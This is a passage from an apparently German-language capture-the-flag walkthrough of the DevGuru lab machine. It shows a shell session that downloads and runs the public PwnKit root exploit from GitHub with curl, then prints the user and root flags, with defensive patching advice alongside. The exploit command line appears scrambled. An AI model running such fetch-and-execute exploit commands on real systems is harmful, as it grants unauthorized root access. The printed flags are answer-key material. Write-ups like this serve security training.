**Empfehlung:** Überprüfen Sie regelmäßig die SUID-Binaries auf Ihrem System und stellen Sie sicher, dass sie sicher konfiguriert sind.

www-data@devguru:/var/www/html$ curl
curl: try 'curl --help' or 'curl --manual' for more information

Es wird geprüft, ob curl installiert ist, da es später für den Download von Exploits benötigt wird.

www-data@devguru:/var/www/html$ cd /tmp/

Es wird in das /tmp/ Verzeichnis gewechselt, um dort Dateien abzulegen und auszuführen.

k/PwnKit/main/PwnKit.sh)" -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k
root@devguru:/tmp# id uid=0(root) gid=0(root) groups=0(root),33(www-data)

Die Ausführung des PwnKit Exploits war erfolgreich, wir sind jetzt als `root` angemeldet.

**Empfehlung:** Patchen Sie Systeme schnellstmöglich, um bekannte Schwachstellen zu beheben.

root@devguru:/tmp# cd /home/
root@devguru:/home# ls frank
root@devguru:/home# cd frank/
root@devguru:/home/frank# ls data user.txt
root@devguru:/home/frank# cat user.txt 22854d0aec6ba776f9d35bf7b0e00217

Die User Flag wurde gefunden und ausgegeben.

root@devguru:/home/frank# cd ~
root@devguru: ls msg.txt root.txt
root@devguru: cat root.txt 96440606fb88aa7497cde5a8e68daf8f

Die Root Flag wurde gefunden und ausgegeben.

root@devguru: cat msg.txt Congrats on rooting DevGuru!
Contact me via Twitter @zayotic to give feedback!

Fantastisch! Der Root-Zugriff war erfolgreich. Wir haben unser Ziel erreicht. Nun haben wir alle Flags erhalten und das System erfolgreich kompromittiert.

Flags

cat user.txt
22854d0aec6ba776f9d35bf7b0e00217
cat root.txt
96440606fb88aa7497cde5a8e68daf8f